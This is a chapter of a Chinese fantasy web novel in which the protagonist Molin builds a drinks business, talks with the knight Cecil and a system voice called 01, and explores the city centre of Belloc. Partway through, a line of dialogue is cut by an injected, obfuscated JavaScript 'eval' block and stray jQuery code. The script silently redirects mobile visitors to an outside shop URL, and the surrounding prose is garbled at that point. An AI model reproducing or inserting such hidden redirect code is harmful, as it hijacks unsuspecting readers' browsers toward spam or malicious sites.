朱丽娜一怔,她下意识转身看向后台,“你怎么认出来的?”
墨林没说话。
她耸耸肩,“行吧,我去帮你问问。”,随后走进后台,和一位身材高挑的女子交谈。
【你怎么看出来的?】01也有点好奇。
“直觉。”,墨林目光落在后台。
那位女子,不是位演员的气质,一身素裙,谈吐自然大方,眼神桀骜。刚才演员调度时,几个人都在等她开口,她在剧场里的地位不低。
是老板的概率很大。
朱丽娜很快回来了,道:“老板说今天不行,有点忙。”
墨林点头,“明天更好。”
朱丽娜看了他一眼,嘴唇动了动,到底没问出口,“行,那就明天。”
然后掏出一袋钱,“给,414。”
墨林收下钱袋,又从里面掏出4枚小铜币还给她,“不吉利。”
朱丽娜挑了下眉,一脸不解,墨林已经转身,朝她摆摆手,“明天见。”
————
墨林转身往回走,钱袋在袖中轻轻碰了一下,声音有些闷,里面已经混了大铜币,一枚抵十枚小铜币。
麦水和梨水利润不高,还要扣掉材料、木桶、复制与备案的成本,好在系统替他省下了最要命的人工和时间成本,总的算下来,是个合算的买卖。
更重要的是,剧场有稳定需求,可以走量,朱丽娜也愿意为他引见剧场老板。
想到这,墨林脚步轻快了些,直到他看到一道身影。
路灯底下,塞西尔靠着灯柱站着。一条腿曲着撑在柱根,手里垂着一只空杯,灯光打在他肩甲的弧面上,勾出一道冷色的边。
墨林走过去,伸手,“杯子还我。”,塞西尔把杯子递过来,“有点淡。”
“谁卖你的?”
“一个男演员,五铜币。”
墨林皱了下眉,把杯子收进木箱,“明天接着涨。”
塞西尔笑出了声:“你第一反应是这个?”
“不然呢?”,他继续往小东街走,塞西尔跟上来,靴声比墨林的脚步重,一前一后,节奏错开半拍。
走出一段,塞西尔才问:“你明天要见黛芙妮?”
墨林脚步顿了半拍,“你认识?”
“黛芙妮·加里。贝洛克稍微有点名气的人,我大多认识。”
塞西尔又补充道:“她不太好说话。”
墨林只说:“看出来了。”
“那你还去?”
“聪明人都不太好说话。”,墨林脚步加快往小东街走,“我只和聪明人谈。”
塞西尔侧头看他,夜风从街口吹过来,撩乱了墨林额前微卷的黑发。
他脸色很淡,就像他性格一样,有点冷。
塞西尔忽然问:“你到底想做什么?”
墨林答得干脆:“赚钱。”
“然后呢?”,塞西尔没有就此放过。
墨林看向远处,小东街的灯稀疏的亮着。
店铺招牌在夜色里一块块排过去,熟食店、修补店、杂货铺,还有那块他看一次烦一次的墨林之家。
“然后改名。”
其实八百刚已经达到了,但真付了这钱,他就会错失明天剧场的订单。
塞西尔顺着他的视线看过去,“我觉得这个名字不错。”
墨林说:“你审美有问题。”
“简单,直白,容易记。”
墨林侧开了头,“像廉价旅馆。”
“本来就很便宜。”
墨林转头看他,塞西尔补了一句,“我是说你的热饮。”
【我觉得他是故意的。】,01在脑子里小声说。
“不用你觉得。”,墨林懒得再听。
塞西尔问:“你在和谁说话?”,他的目光扫向他腰间那把裹着布的剑,似乎有些疑惑。
墨林指尖微微一紧,很快松开,“和我的耐心。”
“它还好吗?”
“快死了。”
塞西尔笑得肩膀轻轻动了一下,墨林只觉得这人真的很烦。
两人一前一后回到酒馆,墨林刚推开门,塞西尔便径直跟了进去,靴底踩在木地板上,声音有些沉。
墨林看了他一眼,眼神很淡,“你很自觉。”
“你没关门。”
“我刚开。”,墨林把门推了回去。
塞西尔在昨天的位置上坐下,自然道:“我以为是邀请。”
墨林摇摇头,把木桶放进后厨,洗过手,又在账本上添了几行。
塞西尔站在吧台旁,看着他写下:热梨水四十杯,热麦饮二十杯,收入四百一十铜币;杯具少一只,已经追回。
看到最后一行,他笑了一下。
墨林把账算完,从后厨取出几种粗粮和酵母,塞西尔看了一眼,了然:“你要做酒?”
“嗯。”,墨林随口答。
塞西尔又问,“你会?”
墨林把酵母放在桌上,“不会。”
塞西尔安静了一瞬,“不会你就做?”
“不会才要试。”,他拿出系统租赁的发酵桶说明,上面密密麻麻写着使用条件。
他看了一会儿,问:“麦酒发酵最容易坏在哪一步?”
塞西尔挑眉,“你问我?”
“嗯”,他说,“骑士喜欢喝酒。”
塞西尔提醒他,“喜欢喝,不等于会酿。”
“你之前喝热麦饮时,没有嫌弃麦香,只嫌弃它淡,说明你很熟悉麦芽味。”
那杯热麦饮已经升到高级,麦芽与香料混在一起,大多数人只会觉得醇香。
塞西尔眯了下眼,视线从那些粗粮移到纸上,又扫了一眼墨林手里的笔,还是开口道:“你这些麦子不行,太杂。麦酒要看麦芽,这个是能煮粥的粮,但不适合做酒。”
墨林低头落笔,见他真的开始记,塞西尔便继续说:
“贝洛克城里的水都干净,水味却不一样;东区这边味重,拿来做便宜麦酒容易发苦。还有桶,得干净,封口也要严;煮麦汁时别把火催得太急,焦味进了酒里压不住。”
塞西尔又补了一句:“甜度也要记。贝洛克人喜欢甜一点的东西,尤其剧场街和市中心。”
墨林抬眼,“你不是不会酿酒,怎么知道这么细?”
“军营里劣酒很多。”,塞西尔语气淡了些,“喝坏过几次,就记住了。”
墨林笔尖停了一下。
军营。
那支笔只顿了半息,又继续往下写,“继续。”
塞西尔盯了他两息,忽然笑了一声,“你还真不客气。”
墨林没有抬头,“你跟回来,不就是想看我做什么?”
塞西尔答得直接:“是。”
“那现在看到了。”墨林继续写自己的。
塞西尔确定了,这人求人也理直气壮的。
墨林密密麻麻地记了一页,最后重新写了张纸,折好给塞西尔,“今天顾问费结了。”
“一杯以后的酒?”,塞西尔念纸上字,指尖轻点桌面,“如果你的酒很难喝呢?”
墨林说:“那你可以不喝。好喝的话,你就赚了。”
塞西尔又笑了一声,酒馆里气氛变得有些凝滞,他的目光从纸条移到墨林袖口,“墨林,你今天去过工坊区?”
墨林皱眉,“你跟踪我?”
塞西尔摇了下头,“不用跟踪。你衣服上有铁灰味,去过工坊街。”
墨林低头闻了闻袖口,什么也没闻出来。
“你这样做生意,迟早会被人盯上。”
墨林把笔搁下,笔尖在纸上留了个小点,慢慢洇开。
“已经被盯上了。”
塞西尔没接话,吧台上的灯芯爆了一下,光晃了晃,又稳住。
“不是吗?”,墨林问。
时间被拉得很长。塞西尔站直了,甲片在空店里响了一声,没有回答这一句。
走到门口时,他只留下一句:“明天在工业区,别乱摆,别再随便涨价了。”
墨林点头,回了句‘看情况’。
“又看情况。”,塞西尔眯起眼看着他,这次换墨林笑了一下。
很浅,但确实是在笑。
明明是这么淡的一张脸,塞西尔却莫名觉得有些软。
他走到门口,望了眼招牌,问:“想改成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835649|211407||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么?”
“一间酒馆。”
塞西尔挑眉扫向他,“比墨林之家好在哪里?”
墨林说:“好在不像我的家。”
塞西尔没说话,似乎在品话里复杂的意味。
他又回头看了墨林一眼,说了句‘好名字’,把门带上了。夜风顺着门缝挤进来一丝,把刚刚摇晃的灯火吹灭了。
墨林看着门口,半晌没说话。
01小声问:【他这是什么意思?】
“不知道。”,墨林转身走上楼,“审美终于正常了一次。”
————
第二天清晨,他依旧到集市,却没买什么,沿着集市的方向往更深处走。
【你要去市中心?】,01诧异。
“对,去看看。”,他脚下很稳,“既然想拿下剧场订单,就要先了解她们的生活。”
脚下的路面渐渐变了,起先还是碎石,缝隙里嵌着泥,再往前灰褐色被白石取代,石缝规整得像用尺子量过。
两侧的木板房也换成石墙,门面高了一截,窗户嵌着磨光的玻璃;路灯不再烧油,灯罩里悬着一团静止的白光,此时天色尚早,照得很温和。
街上的男人越来越少,女人居多,坐在书上慢慢的飘着走。
男人要么穿着铠甲,要么低头跟在女人身后,个个高大,更衬得墨林身形单薄。
墨林放慢脚步,朝一家炼金铺子的橱窗看了一眼,里面整齐陈列着一排瓶子,瓶身刻着符文,标签上的字细而匀整。
上面价格没标,不标价的东西,多半是你问不起的意思。
一个店门口的守卫偏头看他:“你找人?”
“随便看看。”
男人点点头,没继续问。
墨林继续往前。
市中心的剧场白天也有演出,门口等着不少观众,旁边一溜摊位收拾得规整干净,个个都像缩小的店面。
其中一栋建筑占了半条街,正门开得很高,两扇门板上嵌着金色浮雕。
门口的排片牌列着日场、午场和晚场,三场轮替上演,规矩与东区那家小剧场几乎一样,剧目却多了一倍。
几个男人从小门里往里搬箱子,他走近几步去看,目光追随他们进入到窄巷,隔了段距离观察,若有所思。
01小声说:【百利大剧院,贝洛克三大剧场之一。】
墨林重新动身时,沿街已有几道目光跟着他,他像没察觉,只在脑海里对01说了句“有意思。”
01追问了两次,他都没解释。
市中心是一片空旷的广场,中央立着一尊女子雕像,手中托着缓缓流转的光球。
石台上刻着几个字,墨林没认全。
安静了一路的01此时开口:
【女王奥尔瑟雅。贝洛克是六大主城之一,她长期坐镇这里,擅长魔法、重视教育,城里的魔法师也是六城最多的。】
墨林应了一声,“知道了。”
石台边簇拥着鲜花,还沾着露珠,像是今早才有人献上。
一个带孩子的女人经过,腾出手碰了碰碑面,这才继续往前。
墨林离开前也正了正衣襟,朝雕像鞠了一躬。先前落在他身上的几道视线缓和了些。
返回时,墨林想进店看看,走到一家开着门的铺子前,柜台后面的人抬起头“有预约吗?”
“没有。”
对方的视线从他脸上滑到衣服上,又滑回来,嘴角始终挂着礼貌的微笑。
墨林也回她一个笑,转身走了。
没有人拦他,没有人赶他,但从头到尾,所有东西都在告诉他同一件事。
他顺着来路往回走,远处传来集市收摊的动静,有人在喊尾价,有人在叠布帘。
墨林在巷口停了一会儿。
01问:【你怎么了?】
他没马上答,只看着面前那条窄巷,两边是旧木门和不匀的石墙,头顶晾着衣服,檐角微微生锈。
墨林抬起眼,越过那些衣物,望向白石路的方向,眼里被激出些兴致:
“我们还会回来的。”
01没说话,停了一拍,它才反应过来:墨林说的是“我们”。